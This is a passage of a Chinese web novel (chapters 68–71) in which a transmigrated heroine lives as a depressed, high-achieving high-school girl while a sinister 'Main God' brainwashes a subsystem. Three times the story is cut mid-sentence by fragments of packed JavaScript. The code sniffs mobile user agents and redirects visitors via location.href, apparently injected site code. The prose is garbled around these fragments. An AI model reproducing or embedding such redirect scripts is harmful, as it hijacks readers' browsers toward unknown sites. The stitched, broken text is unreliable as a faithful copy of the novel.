旁的人都觉得夏汀舟衣食无忧,生活幸福,未来可期。可她想要的根本不是这些。 从小到大,她都走在夏恒给她铺好的路上——学礼仪、收脾气、去公立学校学习,然后高中毕业之后读个金融方向的专业,安安分分做好夏家的千金大小姐。 十几年的生活的确向夏汀舟证明,她根本没有权利偏航,更没有资格拒绝。每一次和夏恒的对抗,都会以无声的失败结束。 她累了,也妥协了。 因为抑郁症,夏汀舟晚上经常失眠,所以医生才开了安眠药治疗,加以心理咨询辅助。高三寒假,不知道什么原因,她挑了一个家里没人的时间,吃掉了服用下过量的安眠药,自.杀去世。 听001讲完,苏昙心中生出无力的愤怒。 “那夏汀舟和关在笼子里的金丝雀有什么区别?生活在这样窒息的家庭怎么可能不生病!” 001也沉默片刻,又解释道:“你现在穿进来的时间点,是高二开学前的暑假,还有一个星期开学。同时距离她自杀还有整整一年半。但我不知道一年半里到底发生了什么,因为对这个世界的你我来说,那段时间属于未来。” “那她本人呢,还记得吗?” 001摇摇头。 “这样看来,我穿过来的节点也没什么规律嘛。” 毕竟第一个里世界她穿过来的时间距离苏雨虹去世也就才几天。 001:“这就意味着,我们要面对的未知也会更多。” 苏昙似乎在想什么,过了一会又道:“其实有时候,知道得再多也没什么用,只有继续往下走才能看到真相。” “怎么突然这么说?” “还不是因为你们主神。一个浑身黑黢黢的家伙,和那个莲长得跟孪生兄弟似的。”苏昙仰躺到床上,“我旁敲侧击地问祂里世界的意外是怎么回事,结果祂不仅滴水不漏地圆过去,还给我仔细地科普了人心五毒。” “人心五毒?是什么?” “贪嗔痴慢疑。主神说,原主和宿主的死都是因为这五毒。我给你说,祂根本没觉得自己有错,还认为所做的一切都是为了为了虚空之境!我真的越想越气,一气之下就……” 001心里突然有种不好的预感:“就什么?” 苏昙小声道:“就给了祂两巴掌。” 果然,要是乖乖听话就不是她了。001习惯地平静地接受现实,问道:“那你呢,有没有被祂伤到?” 苏昙狂摇头:“那倒没有。祂本来已经用触手把我卷起来要勒死我,但我那时还有一个愿望没说呢。我希望祂不要杀掉我,没想到祂刚骂完‘你简直是做梦!’,转眼就同意了。你说奇怪不奇怪,你们主神竟然这么好说话。” 001神色微沉。 恐怕这件事情没有那么简单。 祂不是什么良善单纯的无私奉献者,恰恰相反,祂是个精致的利己主义者,为了达到目的不择任何手段,谁也无法接近祂,了解祂。 “不管主神说什么,还是多提防小心些好。” 001叮嘱道。 “嗯,你也是。”苏昙又想起什么,问道,“对了,你知道混沌珠是什么吗?” “听说过一点,不过都是很早的时候了。混沌珠的力量好像可以维持虚空之境的稳定,但我们都没见过。” “我见到了。就在密门背后,混沌珠被嵌在墙里,五光十色的。我差点就被迷得走不动道,感觉整个人都快被那光吸进去了。我问主神混沌珠里是什么,祂的回答很含糊,只说那里面相互交融的两种气体叫什么……哦,征凶和来硕,其他的什么就都不肯说了。所以……” “你想让我帮你去查混沌珠?好。” 苏昙竖起大拇指:“啧啧,我们真是越来越有默契了!” 001看她脸上露出狡黠得逞的笑,几番犹豫,试探着大胆问道:“你说你因为生气,打了主神两巴掌,你……到底为什么生气?” 苏昙:“当然是因为祂在里世界一次次让我身陷意外,还把你——唔!” 话说到一半,她胃里突然一阵恶心,立刻从床上弹起来,捂住嘴奔向马桶。 001想听的话没能听她亲口说出,悬着的心不知第几次落回胸腔,砸出一片酸涩。 他驱散脑海里的混乱念头,走到苏昙身后,帮她提起披肩长发,让她吐得更舒服点。 …… 苏昙从厕所出来的时候,001能化成人形的时间早已过一个小时,回到了她的识海。 苏昙胃里比第一次吐完要舒服太多,心觉应该没什么大事了,躺回床上沉入睡眠。 “——叮铃铃!” 还没过半个小时,夏汀舟搁在床头柜上的手机,响起魔音般的闹铃。 苏昙在心里挣扎了几秒,才睁开朦胧睡眼,划开手机屏幕,注意到闹铃的备注:“……心理咨询?” 识海里的子系统说:“夏汀舟有抑郁症,每隔两周,会在周日下午去看心理医生。她的心理医生叫魏泽涛,是南山市中心医院的心理科的主任。抱歉,刚才忘记提醒你了。” “没事,反正现在家里没人,我先去那看看吧。” 苏昙下床,摸到手腕上的皮筋,把头发扎成一个利落的高马尾。她洗了把脸,走到一楼,正好撞见打扫卫生的保姆孙姨。 孙姨放下手里的抹布,笑道:“小姐这是要去找魏医生做心理咨询吗?” 南山市中心医院离这很远,苏昙正在用手机打车,没有把注意力放到保姆身上,回道:“嗯。” …… 南山市中心医院很大,苏昙跑了好几栋楼才摸到心理科的诊室,掐着约定的咨询时间点,礼貌敲门。 一个约摸三十多岁的男人正在整理使用过的沙盘等工具,他应道:“请进。” 苏昙没有做过心理咨询,不知道是什么样的形式,只能坐在凳子上等魏泽涛先说话。 魏泽涛把工具收拾好,坐到一旁的沙发上,示意她也过来,怎么舒服怎么坐:“又过去了两周,感觉怎么样?” 苏昙换了个位置,坐到他对面,斟酌道:“还行。” “可以把你的感受描述得更详细点吗?比如有没有发生令你开心的事,或者让你感到困扰的麻烦?都可以对我说说。” 魏泽涛语气轻缓,态度随和,仿佛他不是医生,而是夏汀舟的朋友。 “我……”苏昙头都要大了,她刚穿过来,怎么可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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偏偏她有些苍白的唇色令魏泽涛信以为真:“没关系。我们的咨询都是以你的感受为主,可以随时暂停。刚好,这里就是医院,你可以去挂号看一看。至于这次的剩下的时长,会累积到下次,你不用担心。” “谢谢魏医生,我们下次再见。” 苏昙捂着肚子跑远了。 “对不住啊魏医生,我不是不尊重你,实在是因为,我不是夏汀舟,取代不了她的思想,也不能取代她。” 苏昙默道。 她回到别墅的时候,已经是傍晚六点多,恰巧碰到一个妆容精致的漂亮女人按指纹锁开门。那女人看着完全不像四十岁的年纪,穿着一身名牌,浑身透着不菲的气息。 想来这就是夏汀舟的妈妈,陈玫,一个整天泡在富婆圈和美容院的贵妇。 苏昙跟在她身后,一声“妈”还没到嗓子眼,便先听陈玫冲正在往餐桌端菜的孙姨说道:“我不吃,别盛我的饭了。” 话落,陈玫踩着拖鞋回到一楼房间,咣当关上了门。 孙姨习以为常地应了声好,在围裙上擦净手,上楼喊刚从马术班下课的小少爷吃饭。 苏昙发现原主在这个家里的存在感还真是够低,走进厨房帮忙把剩下的菜端了出来。 不得不说,有钱人家吃得就是好,一共就三个人,还做了四菜三汤,水果蔬菜肉一应俱全,补得营养又全面! 十二岁的小少爷夏迁舟坐到餐桌旁边,一眼瞅见连续两次出现在盘里的小鸡炖蘑菇,皱眉高声抱怨道:“怎么天天都是小鸡炖蘑菇,我都快吃吐了!就不能换个花样吗?!” 孙姨搓了搓手,正准备张嘴哄他,听到一个熟悉又陌生的声音。 “做这么一大桌菜很累的,你要是不满意,想吃什么自己去做啊。一桌子菜还不到够你吃,那你胃口有够大的。”作为一个对食物抱着崇高爱意的人,苏昙下意识反驳,埋头干了一大口鸡汤,“明明做得多香啊……” 她抬起头,冷不防对上齐刷刷注视着她的两双惊诧意外的眼睛,跑到嗓子眼的鸡汤差点没咽下去。 69. 世界四(2) 餐桌上三人面面相觑,各怀心思。 反应最大的要属夏迁舟。 他的表情活像见了鬼,打死都没想到,一向逆来顺受的姐姐竟然会当着外人的面训斥他! 苏昙看着夏迁舟脸上变化莫测的神色,心虚地对识海里旁观的001道:“我……是不是露馅了?刚才说话没过脑子,忘记了我现在的身份可是富二代家的大小姐,太心直口快了!” 001有些好笑地提醒她:“倒不是因为这个。夏汀舟在家里一句大声的话都没说过,更别提教训自己的弟弟。恰恰相反,她时不时还会给夏迁舟送礼物讨好他。” “原来这样啊。”苏昙微微抿嘴,又看向站在一旁不停搓手的孙姨。 孙姨有些慌张,连忙道:“都是我的问题,年纪大了记性不好,少爷说得对,我下次就把这道菜换了。” 说完,她就要把小鸡炖蘑菇端下去。 “慢着!”苏昙心思一动,抢在孙姨动作前,把盛着这道菜的砂锅拉到自己碗筷附近,说道,“我很喜欢吃,明天中午还要这道菜。配米饭,更香。” 如果说刚才的话是无心之词,那现在她就是故意的。不为什么,就是单纯看不惯夏迁舟娇生惯养的少爷脾气。 本来快要被孙姨哄好的小少爷一听,火气噌地一下瞬间烧得更旺,生气的模样看着比一桌子的佳肴还要让苏昙舒心。 夏迁舟狠狠地把筷子撂在桌子上,连嘴都忘了擦,噔噔蹬跑上楼锁住们,一个人生闷气去了。 孙姨还想追上去,苏昙温和地叫住她:“孙姨,要不然坐下来陪我一起吃吧。你做这么多,最后倒了多浪费。” 孙姨惶恐道:“你就别打趣我了小姐,要是让夏老板知道,肯定会生气的。我去厨房吃就行。吃完我就该回去了。” 苏昙见她执意要走,也不再强留。 孙姨一溜烟钻进厨房后,苏昙眼皮一耷拉,惨兮兮地对识海里的人说道:“一个人吃饭好无聊。” 001哪里会不懂她的意思,只是今天化成人形的时间已经用完,他没办法出现在她面前。 他轻声道:“抱歉……” 苏昙眼底的失望更甚。 001有些慌了,绞尽脑汁想出一个主意:“这样,我去食堂买点饭,在那里和你一起吃?” “好啊!” 过了十分钟,001已经在虚空之境的食堂坐下,面前有两道菜,是苏昙今晚动筷最多的两道。 苏昙看不到他,心里十分好奇:“你买的什么饭呀?” 001:“……随便挑的,叫不上名字。” “好吧。”苏昙想到他伤口还没好,又问道,“油腻吗?口味重不重?” “不重,挺清淡的。” 001吃了两口菜,觉得味道也就那样。 他索然无味地放下筷子,对苏昙说道:“你好像……还没怎么提起过你家里的情况。应该是很幸福的吧?” “那你觉得,什么样的家庭才称得上幸福?”苏昙反问。 “我觉得……彼此能够相互陪伴,相互体谅,和对方在一起的时候是放松开心的,似乎有说不完的话。有困难一起面对,有喜悦一起分享。对于对方所想有着心照不宣的默契,在对方需要帮助时又能及时出现——” 苏昙扑哧一声笑出来:“你说的是我爸妈吧?” 001喉结微动,耳朵渐渐发热,心跳再次喧宾夺主地想要占据他的理智。 苏昙继续道:“照你所说,他们俩的确是这样,搞得我活像个意外。我妈妈性格比较霸道强势,恰好我爸爸是个很包容的人,他从来不觉得妈妈的强势让人头疼,反倒很喜欢她身上的率真直爽,结婚二十多年感情一直很好,就算有过争吵最后也会心平气和地说开。不过,我心里很清楚,他们不仅爱对方,同样很爱我。” “不管我在外面遇到什么样的困难和伤心事,装得再坚强,一回到家见到他们就什么也顾不上了,在我爸爸妈妈面前,我可以放声大哭,也可以放声大笑,可以生气也能撒娇……有时候,我甚至都不想再长大了。” “所以,我一直觉得家就是我的底气——这样看来,我应该是很幸福的。”苏昙盯着碗底,突然没了声。过了片刻,才小声道,“我真的好想他们啊。” 进入咸鱼系统的一年多里,是爱和善意支撑着苏昙坚持走下去。父母的爱、朋友的爱、陌生人的爱。 尽管她知道在在系统里的时候,现实世界的时间是静止的,可恰恰也是这份静止的时间,无限拉长了与心中所念之人的距离。 001突然发现,他曾经不能感受得到的惆怅,现在密密麻麻地占满了他心里的每一个角落。 原来,这就是不可自控的感同身受吗?他很想说些什么,却又不知道该如何开口。他没有家人,自然也就没有家,更没有立场安慰一个想家的人。 于是,苏昙的识海变得和诺大的餐厅一样沉默。她在这份沉默里很快调整好自己的心情,扬起嘴角道:“没关系,我就权当是一场漫长的毕业旅行好啦,反正也不亏。再说了,这不是还有你么!” 话虽如此,001仍将她眼底里一闪而过的落寞看得一清二楚。 他语拙,只道:“嗯,还有我。你一定会回去的。” 吃完晚饭,苏昙上楼回了夏汀舟的房间。 没了外界事物的打扰,白日里那个医院的心理医生魏泽涛的话一下子跃进她的脑海。 苏昙打开书桌上的电脑,在浏览器里搜索最近的摄影比赛。 她看了许多官媒消息,终于查到,这个月有一个“南山市最美剪影摄影大赛”,比赛规模不是很大,只是市级水平。不过,用来试试水正好。 然而,她找遍整个电脑的文件夹,都没找到一张合适的照片,有些是习题的截图,有些是高中知识点的照片,还有一些毫不相干的图片。手机也是如此。 夏汀舟那么爱摄影,肯定不会连一张照片都没有。难道是害怕被夏恒发现,存到U盘里了? 苏昙刚这样想,001就心有灵犀地说道:“她所有和摄影有关的东西,都在衣柜空槽的密码箱里。箱子的密码是421421。” 找密码箱之前,苏昙专门起身把房间的们反锁住,以防有人突然进来。 只是她没想到,箱子足足有一个28寸的行李箱那么大,死沉死沉的,把它拿出来费了不少力气。 打开箱子,苏昙不由睁大眼睛——这也太专业了吧! 各种大小和牌子的相机和镜头、折叠起来的三脚架、不同型号的电池、不同大小的反光板……还有一堆她叫不上名的零散工具。 她在一个小袋子里,找到了两个U盘。 苏昙把U盘插到电脑上,果然看到了原主曾经拍过的一张张照片:有风景照,人物照,还有动物照和一堆她不知道拍的是什么东西的照片。就算是不懂构图和光线的人来看,也会觉得赏心悦目。 苏昙挑得眼都要花了。 每一张她都觉得很不错,可正是这样,所以一直挑不出来。她按动鼠标切换照片的速度越来越快。 就在她感到疲劳,决定明天再看的时候,鼠标箭头落到了一张暖色调的照片上。苏昙不停按动鼠标的指尖猛地停下。 这张照片里的布局怎么那么眼熟,好像是…… 是她现在住的房间,也就是夏汀舟自己的卧室! 拍照的时间看起来在午后,恰好有一道暖黄的阳光照到书架上,倾洒在一本名叫《过好这一生》的书上。照在书架上的光块一半在书上,一半在墙上,和其他昏暗的地方形成对比,将墙体左右一分为二。靠近墙角的地方,还有一个打开的行李箱,里面装着日常生活用品,刚好弥补了大片墙体的空白,给空间增添了几分温馨和家常。 苏昙盯着这张画出神许久。 当天晚上,她把这张照片和个人信息表都投给了“南山市最美剪影摄影大赛”的官方邮箱。 * 第二天早晨,夏汀舟体内高中生的生物钟在五点半就把苏昙叫醒。 她绝望地睁开眼,接着绝望地打了个泪眼婆娑的哈欠。 说来也真是应了“咸鱼路人改造系统”这一名字。她从第一个里世界起,穿身的每一个宿主,好像都没有睡懒觉的习惯,搞得她好久都没有一口气睡到九点多的那种幸福感了。 瞧瞧,这一年多来,她变成了一个多么勤奋的应届生,简直为她走上社会成为牛马提前做好了准备! 虽然她一点也不想。 现在还是暑假,苏昙不愿意浪费早上大好的时光,硬是拖到了七点孙姨来喊她吃饭才从床上蹭下去。 她半路经过原主妈妈陈玫的房间,还是紧紧关着,看样子,是不准备起来吃饭了。 餐桌上饭菜的香气唤醒苏昙的神经,她顿时食欲大涨,拉开凳子坐在夏迁舟对面。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667485|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 吃着吃着,苏昙渐渐发现那位小少爷有点不对劲。 先是每吃完一口饭都要用鼻孔对着她咀嚼,不知道的还以为他昨天晚上睡落枕了;再有就是她夹哪个菜,夏迁舟就把盛着那道菜的盘子拉到自己跟前占为己有。 苏昙就这样看着他皱着眉把不喜欢的配菜夹出去,又时不时瞟她一眼,观察她的神情。 令夏迁舟失望的是,他没再从自己姐姐的脸上看到昨天晚上那样不耐烦的神情,似乎还有点漠然?她什么意思,当他不存在吗? “叮。” 苏昙扣在桌子上的手机发出一声消息提示音。 她点进去,发现是一个快递到货取件通知,订单详情显示夏汀舟买了一套价值2999元的乐高积木。 夏汀舟要送给谁? 苏昙下意识抬头,对上夏迁舟有些慌张的目光,心里顿时明了。 原来是给她弟弟买的。 但买了就一定要送出去吗?苏昙若无其事地把消息划掉,把手机重新扣在桌面上,继续吃饭。 刚夹了一口菜,她猛地回神——等等!那套玩具多少钱来着? 苏昙打开订单,2999的交易明细静静地躺在账单上,刺得她心里快要滴血。三千块钱的积木夏汀舟说买就买,那她手机里得有多少存款? 苏昙挨个点开微信、支付宝,最后算出足足二十万元的余额! 她心头欲滴的血又被令人安心的存款堵了回去。 …… 下午的时候,夏迁舟被司机接去马术班,陈玫不知道什么时候出去了,家里又剩下苏昙和保姆孙姨两人。 眼看不到一个星期就要开学,苏昙也要有所准备。 她简单收拾过后,拿着在夏汀舟包里找到的借阅卡,打车去市中心的图书馆,一个小时后到达目的地。 苏昙在图书馆门前站定,抬眼望向挂着大字的高楼,在识海问道:“001?在吗?” “……” 她等了几分钟,没人回应。 “是在忙吗?”她想道,不再喊001,先进入了图书馆。 苏昙转了几圈,终于在二楼找到“计算机技术”分类的书架,挑了几本感兴趣的教材案例,坐到附近的小沙发上开始阅读学习。 图书馆内很安静,加上她在的位置看不到外面的天色,一沉浸进去便察觉不到时间的流逝。 不知过了多久,一位负责清馆的小姐姐拍了拍苏昙的肩膀,提醒她要闭馆了。 苏昙手里的书还没看完,问道:“那现在还能借书吗?” “当然可以的,前台还没有下班。凭借阅证一次最多借三本,两个月内要归还。” “好的,谢谢。” 五分钟后,苏昙抱着刚刚读的书走出图书馆。 其实001一个小时前便来到她的识海,看她正学得投入,就没出声打扰她,在识海安静地等着。 他竟然还有些享受这样只属于她和他的两个人的时光,哪怕一句话不说,也很令他满足。 001轻咳一声,对苏昙解释道:“你下午叫我的时候,我正在裂缝之隙见夏汀舟。你找我,是有什么事吗?” 苏昙看了一眼屏幕里打车的车牌号,说道:“其实也不是什么大事,就是想托你帮我告诉夏汀舟一声,我只负责完成里世界的任务,不负责再替她读一遍换了文科的高中。如果裂缝之隙没有教材卷子,我可以帮忙买了,你给她送过去。” 001很快道:“这个你不用担心,我来就是给你说这件事的。裂缝之隙查得严,我没办法长时间带夏汀舟出来,让她亲自去考试。不过她说了,你不用替她学习。至于考试的话,尽力就好,退步也没关系。但你记得把学校考试的卷子留好,我每周给她带一次,周测、月考、期中考和期末考的卷子她都要。” 苏昙迟疑:“她……是个学霸?” 说得不好听一点,她还是第一次见有人死了还要坚持学习,努力刻苦程度简直让她自愧不如。 “嗯。夏汀舟的成绩在班里没出过前三,一直是年纪前十名。” 苏昙:好家伙,原来不是学霸,是学神! 她深吸一口气:“行,只要她不介意,我压力就没那么大。毕竟顶着学神的光环在学校,可是老师的重点关照对象。” 001瞥到她怀里抱着的书,想到她在现实世界的大学专业,大概明白了她未来的学习计划。 70. 世界四(3) 虚空之境,密门背后。 主神半卧在高台的软座上,曲肘支起下巴,似乎在听什么人说话。 触手一正在激动地颤动:“依我之见,只惩罚401是远远不够的,必须把001也送进忏心间一趟,才能让他长记性!” 触手二立刻反对:“你得了吧,该罚的都已经罚过,我看你就是单纯看不惯主神和001的关系比你好,你嫉妒羡慕了!” “你说什么呢?!再说一遍试试!”触手一和它扭打在一起。 旁边的触手三瑟瑟发抖地劝和:“你们别打了……别打了……” 触手四开始和稀泥:“其实我听忏心间里的触手说,401在里面被罚得特别惨。要知道,001可是虚空之境的老员工呢,他要是进去了,主神脸上的面子也挂不住啊。” “……” 主神听它们在耳边叽叽喳喳,吵了半天都不知道再争些什么,只感觉脑袋瓜子嗡嗡的,没什么耐心地打断道:“闭嘴,现在还轮不到你们来教我做事。” 触手一不满地退到祂身边:“您来评评理吧……” 主神没理会它,笑道:“这么些天,401身上的伤也该好了。作为主神,我是要关心一下自己的员工。去把401叫过来,我有话对他说。” 十分钟后,密门前站了一个狼尾发型的年轻子系统,他的脸隐在长廊的黑暗中,看不清神色。 主神缓缓问道:“知道我为什么罚你吗?” 401盯着地面,摇了摇头。 “你虽然成为子系统的时间不长,但怎么连给谁工作都记不清了?我让你帮我监视001,是因为我信任你。结果你倒好,竟然还和他私下来往,合起伙来欺骗我。别忘了,虚空之境是我的地盘,别妄想背着我做一些让我生气的事情。” 401抬起头,情绪有些激动:“我就是想弄清楚谷晨到底为什么会自杀?001答应我,帮我调查,我们就快要查出来了!我不明白,001到底做错什么了,您要这么针对他?调查谷晨的死是我心里的执念,和001没关系!” “你这是在质问我吗?”主神的声音听起来并不生气。 “……我没有。” “你不是在调查谷晨为什么自杀,那你查出来什么了?” 401胸膛因为厚重的呼吸剧烈起伏:“我查出来,他的死和里世界的意外有关……也和您有关。” 主神:“那天001潜进虚空之境是为了调查真相?有点意思。” 祂透过密门看了眼平复情绪的401,心道:“呵,你们俩查得还真没错。” 里世界的意外的确是祂的手笔,有些宿主的求生意识不强,死在意外里属于很常见的事。像谷晨和苏昙那种能次次死里逃生的宿主,是少有的心智坚韧、运气和能力都绝佳的人。 但祂不喜欢过于强大的人。祂享受看强者受折磨,弱者挣扎乞怜,每次看到他们脸上精彩的表情,心里会格外满足。就连混沌珠,都能感知吸收到那股强烈的情绪气息。 所以,哪怕宿主过再多的世界,完成再多的任务,最后都会死,没有例外。 当祂发现苏昙在地牢没有经历火灾,甚至安然无恙地逃出去的时候,便在里世界动了手脚,让地牢塌陷。 只是没承想,最后她竟然还活着,还生龙活虎地……扇了祂两个巴掌。 不过,苏昙有没有在里世界经历意外已经不重要了,祂想到了一个更好的办法,不急于一时。 主神冷哼一声,回过神对401说道:“你不是想知道谷晨为什么自杀?我可以告诉你真相。你也不用再费尽心思去查。” “……真的?” 401不敢相信,主神这么轻易就要告诉他?但又抑制不住地激动好奇。这么多年过去,探寻真相的念头早已在他心里生根发芽,快要分不清到底是执念还是其他。 此时此刻,主神的话仿佛有种令他深信不疑的魔力。他听主神说道:“密门旁边还有一扇门,看到了吗?从那个门进来,我亲自和你讲。” 401的视线随着祂的话落到面前布满大大小小的触手的墙上,那里果然出现一扇散发着淡淡霓虹色光辉的门。 看到的第一眼,401就生出要被吸那五颜六色的光进去的错觉,眼睛直勾勾地盯着那扇门,不受控制地一步一步朝门走去。 “很好,就是这样。走进门,我就在门里等你。” 主神的声音在空荡的长廊回响,深沉而蛊心。眨眼间,401消失在门前。 …… 一个小时后,一个狼尾发型的年轻子系统从门里走出来,身后的霓虹门随之消失。 主神的语气如什么都没发生那样,问道:“你是谁?” “虚空之境子系统,编号401。您最忠诚的员工。” “知道谷晨是谁吗?” “不知道。” “知道001是谁吗?” “虚空之境的第一位子系统。知道,不熟。” “还记得刚刚发生了什么吗?” “一无所知。” “很好,去工作吧。” “好的。” 401微微欠身,离开了长廊。 * 一个星期很快过去,九月初,苏昙和夏迁舟的学校都开学了。 她所在的南山市第一高级中学和夏迁舟读的初中在同一条路上,早上的时间紧张,家里的司机干脆一起送,方便又省时。 苏昙好久没有穿过校服,猛地看到还有点恍惚,站在镜子前盯着里面长相出众的夏汀舟出神半天。 不知怎么,她突然想起在兽人世界时,小鸦无意间说的话。 001一直以来看到的,究竟是原主的模样,还是她的真实容貌? 苏昙没由来的一阵紧张。 她的心跳很快,身体微微发僵。苏昙动了动嘴唇,几次欲言又止,最后还是鼓起勇气问道:“……001?你现在看到的,究竟是谁?是夏汀舟,还是我?” 苏昙也不知道,她到底想听到什么样的回答。 因为刚说完她就已经开始后悔,后悔因为一时冲动,问了这么一个不清不楚的问题。她无声祈祷001还没睡醒或者在工作,总之不要回答,千万别回答。 而识海里的确一片安静。 她又等了几秒,稍稍松了口气,背上昨晚收拾好的书包准备出门。 “——是你。” “?”苏昙蒙了一瞬,几秒后才反应过来001回答的是自己刚刚问的问题。 她一向灵光的脑袋罕见地短路了,嘴皮子愣是秃噜不出来一个字。 001也没比她好到哪去,紧张地把要说的话翻来覆去想了好几遍,才顺利地说出来:“我们子系统看到的是宿主原本的样子,我看到的,一直都是你真实的模样。” “……哦。我知道了。” 苏昙已经回过神,现在恨不得给一分钟前的自己一个巴掌。 此时再多的解释都显得无比苍白无力。她只想找个地缝钻进去。 万幸,少爷夏迁舟甚合时宜的声音在门外响起,听起来很是不耐烦:“夏汀舟你收拾好没有?这么慢你拉屎呢?你不上学我还得上学!” 瞧瞧,人在尴尬的时候都不觉得小孩子烦人了。苏昙生怕001追问,立刻高声回道:“来了来了!” 说完,也不再管他到底什么反应,拉着空书箱,埋着头和夏迁舟一起走了。 * 南山高中根据学生高一期末的成绩,在高二重新分了一次班,夏汀舟不出意外地留在了原来的清北班——高二年级文科只有1班、2班、3班三个清北班,她在高二1班。 苏昙在班级门口贴的座位表上,看到她被分在在第三排中间靠过道的位置,同桌叫程微雪,听名字像是个女生。 开学第一天没有早读,离上课还有二十分钟的时间。苏昙收拾完东西,才察觉到教室里出奇地安静,抬头一看,都在自觉地自习。这就是学霸云集的班级吗?连空气中都弥漫着一股“说闲话是原罪”的严肃气息。 苏昙好久都没有这样的感受,恍惚回到五六年前的高中时代。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672425|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那时她所在的班级层次比上不足比下有余,夹在清北班和平行班中间,每天上课谈学习,下课聊八卦。好在她们班主任是个教数学的年轻女老师,对班里一下课就闹如菜市场的气氛睁一会眼闭一支眼,由着自己的学生去了。 神奇的是,就这样,班级的总体成绩还能保持住原有的水平,发挥好的时候甚至可以和清北班的成绩比肩。每次开班会的时候,班主任夸也不是,骂也不是,最后都是用一句经典的“你们真是我教过最差的一届学生!”结尾,却忘了自己也才是个工作没几年的新教师,毕业班还没带过几个呢。 苏昙想着,眼角微微弯起,翻开手边的专业书,接着上次学到的地方往后看。 过了一会,她右手边的位置上坐下一个女生,应该就是程微雪。 苏昙瞧了一眼程微雪,感觉是个很温柔内敛的女孩,长得白白净净的。苏昙又瞧了一眼她在卷子上写的字,也是工整娟秀,字如其人。 似乎是察觉到苏昙的视线,程微雪偏头和她对视,露出一个腼腆的笑。 七点半整的时候,上课铃准时响起,一个约摸四十多岁的男老师踏着脚上擦得锃亮的黑皮鞋,两步三步跨上讲台,把胳肢窝里夹着的课本和教材搁到讲桌上,微微皱眉,清嗓道:“同学们好!这学期由我来带高二1班,做你们班主任。自我介绍一下,我叫杨辞,白杨的杨,言辞的辞。” 杨辞在粉笔盒里挑出一根长的,在黑板上写下一串数字:“这是我的手机号,大家可以记一下。这学期我教你们历史,先说好,我的课堂上有‘四不规矩’,不能吃东西、不能打瞌睡、不能做和本节课无关的事情,还有就是——我从不拖堂……” …… 漫长的四十五分钟过去,下课铃救命般打响,陈辞果真夹着书就走。苏昙连跑带走钻过熙攘的走廊,终于在办公室门前追上他。 苏昙:“杨老师!” 杨辞把架在眼窝里的无框眼镜往上推了推,看清来人,笑着道:“我知道你嘛,夏汀舟,是个好学生,哈哈!找我有什么事吗?” 苏昙对于原主是个年级里人尽皆知的学霸这件事已经见怪不怪,她乖巧道:“杨老师,我想换个座位。” 第三排中间靠走廊的座位太明显,影响她做自己的事,实在不是个好位置。 “第一次月考还没开始,你为什么想换位置?和同桌闹矛盾了?” “当然不是!”苏昙颇为难道,“因为我心理状态不是很好,坐在中间太沉闷压抑了,想换到一个视野开阔点靠窗的地方……” 苏昙不知道这么说好使不好使,只能死马当作活马医,她来学校可不是抱着交朋友社交的目的,自然是哪里人少往哪去。 杨辞有些震惊,嘴里小声嘟囔什么,注意到夏汀舟还在看他,又忙说:“这样啊,那你家长知道吗?” “他们都知道。陈老师要看看我的病历单吗?” “不用了,不用了。”杨辞突然觉得有点眼前的女学生有点让他琢磨不透,但想到夏汀舟一直是个让老师省心的学霸,就同意了她的请求。 当天下午上课前,苏昙抱着书包,拖着箱子,在班里一众学生惊疑的目光中,坐到了最后一排靠窗的单座。 程微雪还在看着夏汀舟往后排走的背影怔神,一个鼻尖长着淡雀斑的女孩用手里的一沓卷子轻轻拍在她桌子上。 这个女生是1班今天上午新选出来的班长,叫张思蓉。 张思蓉提醒她:“同学,别看了,赶紧交暑假作业吧。” 程微雪回神,把桌面上的卷子放上去。 张思蓉把卷子整了整,走到最后一排,注意到苏昙桌子上摊开的专业书,和那个正在趴着午休的人。 张思蓉脸上的笑意消失,面无表情地把睡觉的人叫醒:“夏汀舟,作业。” 苏昙睡的时候枕着胳膊,猛地醒来视线一片模糊,没有看清说话的人是谁,也没有察觉到她不怎么友善的语气。 “哦,好。” 张思蓉又瞅了一眼她手边的书,没再说什么,抱着收齐的卷子出了教室。 71. 世界四(4) 高中的生活没有太多有意思的事,学生们每天都重复着家—学校—家的固定路线。哪怕苏昙再上一遍高中,也是如此。 开学后的第一个月很快过去。 至于那天她鬼使神差问的一句“你看到的是我,还是夏汀舟?”,之后两人都默契地没再提起,心照不宣地该怎么相处怎么相处,倒也没当时那么尴尬。 中间有夏汀舟之前约的两次魏泽涛的心理咨询,苏昙不想去,就找理由拒绝了。 第一次正巧碰上夏汀舟来姨妈的日子,也许是因为抑郁症,她的身体肝气郁结,连带着痛经都比苏昙现实世界要严重得多,第一天疼得她差点下不来床,吃了止痛药才好受一点。 疼得恶心冒汗的时候,苏昙决定,要是下次还这么难受,一定去看医生。她可不想没死在意外里,先被原主的痛经折腾死了。 第二次,她以“要复习课业,准备月考”为由,再次拒绝了魏泽涛。 只是她昨天给魏泽涛发消息的时候,他似乎看出来她“醉翁之意不在酒”,最后主动给她递台阶,只说有需要再找他就行。 苏昙正愁后面不知道该找什么理由拒绝,魏泽涛就给了她台阶下,真不愧是市中心医院最好的心理医生,太能读懂患者心理了! 